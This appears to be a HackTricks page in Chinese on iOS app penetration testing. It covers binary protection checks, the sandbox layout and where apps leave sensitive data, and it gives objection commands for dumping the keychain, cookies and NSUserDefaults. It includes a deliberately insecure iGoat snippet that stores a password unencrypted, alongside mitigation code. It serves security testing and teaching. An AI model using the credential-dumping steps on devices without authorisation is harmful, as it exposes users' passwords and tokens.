# iOS Pentesting

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(45).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流程**，使用全球**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## iOS基础知识

{% content-ref url="ios-pentesting/ios-basics" %}
[ios-basics](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/ios-basics)
{% endcontent-ref %}

## 测试环境

在此页面中，您可以找到关于**iOS模拟器**、**模拟器**和**越狱**的信息：

{% content-ref url="ios-pentesting/ios-testing-environment" %}
[ios-testing-environment](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/ios-testing-environment)
{% endcontent-ref %}

## 初始分析

### 基本iOS测试操作

在测试过程中会建议执行**多个操作**（连接到设备、读取/写入/上传/下载文件、使用一些工具...）。因此，如果您不知道如何执行这些操作中的任何一个，请**开始阅读页面**：

{% content-ref url="ios-pentesting/basic-ios-testing-operations" %}
[basic-ios-testing-operations](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/basic-ios-testing-operations)
{% endcontent-ref %}

{% hint style="info" %}
在以下步骤中，应该已经在设备上安装了应用程序，并且已经获得了应用程序的**IPA文件**。\
阅读[基本iOS测试操作](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/basic-ios-testing-operations)页面以了解如何执行此操作。
{% endhint %}

### 基本静态分析

建议使用工具[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)对IPA文件执行自动静态分析。

识别二进制文件中存在的**保护措施**：

* **PIE（位置无关可执行文件）**：启用后，应用程序每次启动时都会加载到随机内存地址，使得难以预测其初始内存地址。

```bash
otool -hv <app-binary> | grep PIE   # 应包含PIE标志
```

* **堆栈Canaries**：为了验证堆栈的完整性，在调用函数之前在堆栈上放置一个“canary”值，并在函数结束时再次验证。

```bash
otool -I -v <app-binary> | grep stack_chk   # 应包含符号：stack_chk_guard和stack_chk_fail
```

* **ARC（自动引用计数）**：防止常见的内存腐败缺陷

```bash
otool -I -v <app-binary> | grep objc_release   # 应包含_objc_release符号
```

* **加密二进制文件**：二进制文件应该是加密的

```bash
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # cryptid应为1
```

**识别敏感/不安全函数**

* **弱哈希算法**

```bash
# 在iOS设备上
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# 在Linux上
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
```

* **不安全的随机函数**

```bash
# 在iOS设备上
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# 在Linux上
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
```

* **不安全的‘Malloc’函数**

```bash
# 在iOS设备上
otool -Iv <app> | grep -w "_malloc"

# 在Linux上
grep -iER "_malloc"
```

* **不安全和易受攻击的函数**

```bash
# 在iOS设备上
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# 在Linux上
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"
```

### 基本动态分析

查看[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)执行的动态分析。您需要浏览不同视图并与其交互，但它将挂接多个类并执行其他操作，并在完成后准备报告。

### 列出已安装的应用程序

使用命令`frida-ps -Uai`来确定已安装应用程序的**捆绑标识符**：

```bash
$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift
```

### 基本枚举 & Hooking

学习如何**枚举应用程序的组件**以及如何使用 objection 轻松**hook方法和类**：

{% content-ref url="ios-pentesting/ios-hooking-with-objection" %}
[ios-hooking-with-objection](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/ios-hooking-with-objection)
{% endcontent-ref %}

### IPA 结构

**IPA 文件**的结构本质上是一个**压缩包**。通过将其扩展名更改为 `.zip`，可以对其进行**解压**以显示其内容。在这个结构中，**Bundle**代表一个完全打包好准备安装的应用程序。在其中，您会找到一个名为 `<NAME>.app` 的目录，其中封装了应用程序的资源。

* **`Info.plist`**：此文件保存应用程序的特定配置详细信息。
* **`_CodeSignature/`**：此目录包含一个包含签名的 plist 文件，确保捆绑包中所有文件的完整性。
* **`Assets.car`**：存储像图标这样的资源文件的压缩存档。
* **`Frameworks/`**：此文件夹包含应用程序的本机库，可能是 `.dylib` 或 `.framework` 文件的形式。
* **`PlugIns/`**：这可能包括应用程序的扩展，称为 `.appex` 文件，尽管它们并不总是存在。
* [**`Core Data`**](https://developer.apple.com/documentation/coredata)：用于保存应用程序的永久数据以供离线使用，缓存临时数据，并在单个设备上为应用程序添加撤消功能。为了在单个 iCloud 帐户中的多个设备之间同步数据，Core Data 会自动将您的模式镜像到 CloudKit 容器中。
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html)：`PkgInfo` 文件是指定应用程序或捆绑包的类型和创建者代码的另一种方式。
* **en.lproj, fr.proj, Base.lproj**：是包含这些特定语言资源的语言包，以及在不支持某种语言的情况下的默认资源。
* **安全性**：`_CodeSignature/` 目录通过数字签名验证所有捆绑文件的完整性，在应用程序的安全性方面起着关键作用。
* **资产管理**：`Assets.car` 文件使用压缩来高效管理图形资产，这对于优化应用程序性能并减小其整体大小至关重要。
* **框架和插件**：这些目录突显了 iOS 应用程序的模块化，允许开发人员包含可重用的代码库（`Frameworks/`）并扩展应用功能（`PlugIns/`）。
* **本地化**：该结构支持多种语言，通过为特定语言包含资源来促进全球应用程序覆盖范围。

**Info.plist**

**Info.plist** 作为 iOS 应用程序的基石，以**键-值**对的形式封装关键配置数据。这个文件不仅对应用程序是必需的，对于打包在其中的应用程序扩展和框架也是必需的。它以 XML 或二进制格式结构化，并包含从应用程序权限到安全配置等关键信息。要详细探索可用键，可以参考[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)。

对于希望以更易访问的格式处理此文件的人，可以通过 macOS 上的 `plutil`（在版本 10.2 及更高版本中本地可用）或 Linux 上的 `plistutil` 轻松实现 XML 转换。转换的命令如下：

* **对于 macOS**：

```bash
$ plutil -convert xml1 Info.plist
```

* **对于 Linux**：

```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```

在**Info.plist**文件中可以泄露大量信息，其中一些显著条目包括应用程序权限字符串（`UsageDescription`）、自定义URL schemes（`CFBundleURLTypes`）以及App Transport Security的配置（`NSAppTransportSecurity`）。这些条目以及其他条目，如导出/导入的自定义文档类型（`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`），可以通过检查文件或使用简单的`grep`命令轻松定位：

```bash
$ grep -i <keyword> Info.plist
```

**数据路径**

在iOS环境中，目录专门用于**系统应用**和**用户安装的应用**。系统应用位于`/Applications`目录下，而用户安装的应用则放置在`/var/mobile/containers/Data/Application/`目录下。这些应用被分配一个称为**128位UUID**的唯一标识符，由于目录名称的随机性，手动定位应用文件夹的任务变得具有挑战性。

{% hint style="warning" %}
由于iOS中的应用必须进行沙箱化，每个应用还将在\*\*`$HOME/Library/Containers`**目录下拥有一个以应用的**`CFBundleIdentifier`\*\*命名的文件夹。

然而，这两个文件夹（数据和容器文件夹）都有一个名为\*\*`.com.apple.mobile_container_manager.metadata.plist`\*\*的文件，该文件在键`MCMetadataIdentifier`中链接了这两个文件。
{% endhint %}

为了便于发现用户安装的应用的安装目录，**objection工具**提供了一个有用的命令`env`。这个命令会显示有关所讨论应用的详细目录信息。以下是如何使用这个命令的示例：

```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
```

或者，可以使用`find`命令在`/private/var/containers`中搜索应用程序名称：

```bash
find /private/var/containers -name "Progname*"
```

命令如 `ps` 和 `lsof` 也可用于识别应用程序的进程和列出打开的文件，从而提供有关应用程序活动目录路径的见解：

```bash
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
```

**Bundle directory:**

* **Bundle目录:**
  * **AppName.app**
  * 这是应用程序包，如之前在IPA中看到的，其中包含基本应用程序数据、静态内容以及应用程序的编译二进制文件。
  * 该目录对用户可见，但**用户无法对其进行写入**。
  * 该目录中的内容**不会被备份**。
  * 该文件夹的内容用于**验证代码签名**。

**Data directory:**

* **Documents/**
* 包含所有用户生成的数据。应用程序最终用户启动创建这些数据。
* 对用户可见，**用户可以对其进行写入**。
* 该目录中的内容**会被备份**。
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
* **Library/**
* 包含所有**非特定于用户**的文件，如**缓存**、**首选项**、**cookies**和属性列表（plist）配置文件。
* iOS应用程序通常使用`Application Support`和`Caches`子目录，但应用程序可以创建自定义子目录。
* **Library/Caches/**
* 包含**半持久性缓存文件**。
* 对用户不可见，**用户无法对其进行写入**。
* 该目录中的内容**不会被备份**。
* 当应用程序未运行且存储空间不足时，操作系统可能会自动删除该目录中的文件。
* **Library/Application Support/**
* 包含运行应用程序所需的**持久性文件**。
* 对用户**不可见**，用户无法对其进行写入。
* 该目录中的内容**会被备份**。
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
* **Library/Preferences/**
* 用于存储属性，这些属性可以**在应用程序重新启动后持久存在**。
* 信息以未加密的方式保存在应用程序沙盒中的名为\[BUNDLE\_ID].plist的plist文件中。
* 使用`NSUserDefaults`存储的所有键/值对都可以在此文件中找到。
* **tmp/**
* 使用此目录来写入**不需要在应用程序启动之间持久存在的临时文件**。
* 包含非持久性缓存文件。
* 对用户不可见。
* 该目录中的内容不会被备份。
* 当应用程序未运行且存储空间不足时，操作系统可能会自动删除该目录中的文件。

让我们更仔细地查看iGoat-Swift的应用程序包(.app)目录，位于Bundle目录内(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`)：

```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt
```

### 二进制反向工程

在 `<application-name>.app` 文件夹中，您会找到一个名为 `<application-name>` 的二进制文件。这是将被**执行**的文件。您可以使用工具 **`otool`** 对二进制文件进行基本检查：

```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
```

**检查应用是否已加密**

查看是否有任何输出：

```bash
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
```

**反汇编二进制文件**

反汇编文本部分：

```bash
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268
```

要打印示例应用程序的**Objective-C段**，可以使用：

```bash
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8
```

为了获得更紧凑的 Objective-C 代码，您可以使用 [**class-dump**](http://stevenygard.com/projects/class-dump/) 工具：

```bash
class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};
```

然而，拆解二进制文件的最佳选项是：[**Hopper**](https://www.hopperapp.com/download.html?) 和 [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/)。

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(45).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 来轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 数据存储

要了解 iOS 如何在设备中存储数据，请阅读此页面：

{% content-ref url="ios-pentesting/ios-basics" %}
[ios-basics](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/ios-basics)
{% endcontent-ref %}

{% hint style="warning" %}
应该在**安装应用程序后**立即检查以下存储信息的位置，**在检查应用程序的所有功能**之后，甚至在**从一个用户注销并登录到另一个用户**之后。\
目标是查找应用程序（密码、令牌）、当前用户和先前登录用户的**未受保护的敏感信息**。
{% endhint %}

### Plist

**plist** 文件是结构化的 XML 文件，**包含键值对**。这是一种存储持久数据的方式，因此有时您可能会在这些文件中找到**敏感信息**。建议在安装应用程序后和在大量使用应用程序后检查这些文件，以查看是否写入了新数据。

在 plist 文件中持久保存数据的最常见方式是通过使用**NSUserDefaults**。此 plist 文件保存在应用程序沙盒中的\*\*`Library/Preferences/<appBundleID>.plist`\*\*

[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 类提供了与默认系统交互的编程接口。默认系统允许应用程序根据**用户偏好**自定义其行为。由 `NSUserDefaults` 保存的数据可以在应用程序包中查看。此类将**数据**存储在**plist** **文件**中，但它旨在与少量数据一起使用。

这些数据无法直接通过受信任的计算机访问，但可以通过**备份**访问。

您可以使用 objection 的 `ios nsuserdefaults get` 来**转储**使用 **`NSUserDefaults`** 保存的信息。

要查找应用程序使用的所有 plist，可以访问 `/private/var/mobile/Containers/Data/Application/{APPID}` 并运行：

```bash
find ./ -name "*.plist"
```

要将文件从\*\*XML或二进制（bplist）\*\*格式转换为XML，可以根据您的操作系统使用不同的方法：

**对于 macOS 用户：** 使用 `plutil` 命令。这是 macOS（10.2+）中的一个内置工具，专门用于此目的：

```bash
$ plutil -convert xml1 Info.plist
```

\*\*对于Linux用户：\*\*首先安装`libplist-utils`，然后使用`plistutil`来转换您的文件：

```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```

**在 Objection 会话中：** 用于分析移动应用程序的特定命令允许您直接转换 plist 文件：

```bash
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
```

### Core Data

[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) 是一个用于管理应用程序中对象模型层的框架。[Core Data可以使用SQLite作为其持久存储](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/)，但框架本身不是一个数据库。\
CoreData默认不加密其数据。然而，可以向CoreData添加额外的加密层。查看[GitHub Repo](https://github.com/project-imas/encrypted-core-data)获取更多详细信息。

您可以在路径`/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`中找到应用程序的SQLite Core Data信息。

**如果您可以打开SQLite并访问敏感信息，则表示您发现了一个配置错误。**

{% code title="iGoat中的代码" %}

```objectivec
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}
```

{% endcode %}

### YapDatabase

[YapDatabase](https://github.com/yapstudios/YapDatabase) 是建立在 SQLite 之上的键/值存储。\
由于 Yap 数据库是 SQLite 数据库，您可以使用上一节中提到的命令找到它们。

### 其他 SQLite 数据库

应用程序通常会创建自己的 SQLite 数据库。它们可能在其中存储敏感数据并将其保留为未加密。因此，检查应用程序目录中的每个数据库始终是一件有趣的事情。因此，请转到保存数据的应用程序目录 (`/private/var/mobile/Containers/Data/Application/{APPID}`)。

```bash
find ./ -name "*.sqlite" -or -name "*.db"
```

### Firebase实时数据库

开发人员可以通过Firebase实时数据库在**NoSQL云托管数据库**中**存储和同步数据**。数据以JSON格式存储，并实时同步到所有连接的客户端。

您可以在此处找到如何检查配置错误的Firebase数据库：

{% content-ref url="../network-services-pentesting/pentesting-web/buckets/firebase-database" %}
[firebase-database](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/buckets/firebase-database)
{% endcontent-ref %}

### Realm数据库

[Realm Objective-C](https://realm.io/docs/objc/latest/) 和 [Realm Swift](https://realm.io/docs/swift/latest/) 提供了一个强大的数据存储替代方案，苹果没有提供。默认情况下，它们以未加密的方式存储数据，可以通过特定配置进行加密。

这些数据库位于：`/private/var/mobile/Containers/Data/Application/{APPID}`。要查看这些文件，可以使用如下命令：

```bash
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"
```

要查看这些数据库文件，建议使用[**Realm Studio**](https://github.com/realm/realm-studio)工具。

要在Realm数据库中实现加密，可以使用以下代码片段：

```swift
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
```

### Couchbase Lite数据库

[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios)被描述为一种**轻量级**和**嵌入式**数据库引擎，遵循**面向文档**（NoSQL）的方法。设计为原生支持**iOS**和**macOS**，提供了无缝同步数据的能力。

要识别设备上可能存在的Couchbase数据库，应检查以下目录：

```bash
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
```

### Cookies

iOS 将应用程序的 cookies 存储在每个应用程序文件夹内的 **`Library/Cookies/cookies.binarycookies`** 中。然而，开发人员有时会决定将它们保存在 **keychain** 中，因为上述 **cookie 文件可以在备份中访问**。

要检查 cookies 文件，您可以使用[**此 Python 脚本**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)或使用 objection 的 **`ios cookies get`.**\
**您还可以使用 objection** 将这些文件转换为 JSON 格式并检查数据。

```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
```

### 缓存

默认情况下，NSURLSession将数据，如**HTTP请求和响应存储在Cache.db**数据库中。如果令牌、用户名或任何其他敏感信息已被缓存，该数据库可能包含**敏感数据**。要查找缓存的信息，请打开应用的数据目录（`/var/mobile/Containers/Data/Application/<UUID>`），然后转到`/Library/Caches/<Bundle Identifier>`。**WebKit缓存也存储在Cache.db**文件中。**Objection**可以使用命令`sqlite connect Cache.db`打开并与数据库交互，因为它是一个**普通的SQLite数据库**。

**建议禁用缓存这些数据**，因为请求或响应中可能包含敏感信息。以下列表显示了实现此目的的不同方法：

1. 建议在注销后删除缓存的响应。可以使用苹果提供的名为[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)的方法来执行此操作。您可以按如下方式调用此方法：

   `URLCache.shared.removeAllCachedResponses()`

   此方法将从Cache.db文件中删除所有缓存的请求和响应。
2. 如果您不需要使用cookies的优势，建议只使用URLSession的[.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral)配置属性，这将禁用保存cookies和缓存。

   [苹果文档](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral)：

   `一个临时会话配置对象类似于默认会话配置（请参阅default），不同之处在于相应的会话对象不会将缓存、凭据存储或任何会话相关数据存储到磁盘。相反，会话相关数据存储在RAM中。临时会话仅在您告诉它将URL的内容写入文件时才会将数据写入磁盘。`
3. 通过将缓存策略设置为[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)也可以禁用缓存。这将禁止以任何方式存储缓存，无论是在内存中还是在磁盘上。

### 快照

每当您按下主屏幕按钮时，iOS都会**拍摄当前屏幕的快照**，以便能够更流畅地切换到应用程序。然而，如果当前屏幕中存在**敏感数据**，它将被**保存**在**图像**中（这将**持续** **跨** **重启**）。这些快照也可以通过双击主屏幕来访问，以在应用程序之间切换。

除非iPhone已越狱，**攻击者**需要**访问** **未锁定** 的**设备**才能查看这些屏幕截图。默认情况下，最后一个快照存储在应用程序的沙盒中的`Library/Caches/Snapshots/`或`Library/SplashBoard/Snapshots`文件夹中（受信任的计算机无法从iOS 7.0访问文件系统）。

防止这种不良行为的一种方法是在拍摄快照之前使用`ApplicationDidEnterBackground()`函数放置空白屏幕或删除敏感数据。

以下是一个设置默认屏幕截图的示例修复方法。

Swift:

```swift
private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
```

Objective-C：

```
@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
```

这会在应用程序进入后台时将背景图像设置为`overlayImage.png`。它可以防止敏感数据泄露，因为`overlayImage.png`将始终覆盖当前视图。

### Keychain

要访问和管理iOS钥匙串，可以使用像[**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper)这样的工具，适用于越狱设备。此外，[**Objection**](https://github.com/sensepost/objection)提供了`ios keychain dump`命令，用于类似的目的。

#### **存储凭据**

**NSURLCredential**类非常适合直接将敏感信息保存在钥匙串中，无需使用NSUserDefault或其他包装器。要在登录后存储凭据，可以使用以下Swift代码：

```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
```

## **自定义键盘和键盘缓存**

从iOS 8.0开始，用户可以安装自定义键盘扩展，可在**设置 > 通用 > 键盘 > 键盘**下进行管理。虽然这些键盘提供了扩展功能，但存在记录按键和将数据传输到外部服务器的风险，尽管用户会收到通知，指出需要网络访问的键盘。应用程序可以并且应该限制对自定义键盘用于输入敏感信息。

**安全建议:**

* 建议禁用第三方键盘以增强安全性。
* 注意默认iOS键盘的自动更正和自动建议功能，可能会将敏感信息存储在`Library/Keyboard/{locale}-dynamic-text.dat`或`/private/var/mobile/Library/Keyboard/dynamic-text.dat`中的缓存文件中。应定期检查这些缓存文件以查找敏感数据。建议通过**设置 > 通用 > 重置 > 重置键盘字典**来清除缓存数据。
* 拦截网络流量可以揭示自定义键盘是否远程传输按键。

### **防止文本字段缓存**

[UITextInputTraits协议](https://developer.apple.com/reference/uikit/uitextinputtraits)提供了管理自动更正和安全文本输入的属性，对于防止敏感信息缓存至关重要。例如，通过禁用自动更正和启用安全文本输入，可以实现：

```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
```

另外，开发人员应确保文本字段，特别是用于输入诸如密码和个人识别码（PIN）等敏感信息的字段，通过将 `autocorrectionType` 设置为 `UITextAutocorrectionTypeNo` 并将 `secureTextEntry` 设置为 `YES` 来禁用缓存。

```objectivec
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
```

## **日志**

调试代码通常涉及使用**日志**。这存在风险，因为**日志可能包含敏感信息**。在iOS 6及更早版本中，日志对所有应用程序都是可访问的，存在敏感数据泄漏的风险。**现在，应用程序被限制只能访问自己的日志**。

尽管存在这些限制，**拥有解锁设备的物理访问权限的攻击者**仍然可以通过将设备连接到计算机并**读取日志**来利用这一点。需要注意的是，即使在应用程序卸载后，日志仍然保留在磁盘上。

为了减轻风险，建议**与应用程序进行全面交互**，探索其所有功能和输入，以确保没有意外记录敏感信息。

在审查应用程序源代码以查找潜在泄漏时，要查找使用关键字如`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`等内置函数的**预定义**和**自定义日志记录语句**，以及任何提及`Logging`或`Logfile`的自定义实现。

### **监控系统日志**

应用程序记录各种可能敏感的信息。要监控这些日志，可以使用工具和命令，如：

```bash
idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs
```

另外，**Xcode** 提供了一种收集控制台日志的方法：

1. 打开 Xcode。
2. 连接 iOS 设备。
3. 导航至 **Window** -> **Devices and Simulators**。
4. 选择您的设备。
5. 触发您正在调查的问题。
6. 使用 **Open Console** 按钮在新窗口中查看日志。

对于更高级的日志记录，连接到设备 shell 并使用 **socat** 可以提供实时日志监控：

```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```

### 日志活动观察

跟随以下命令观察日志活动，这对于诊断问题或识别日志中的潜在数据泄漏非常宝贵。

***

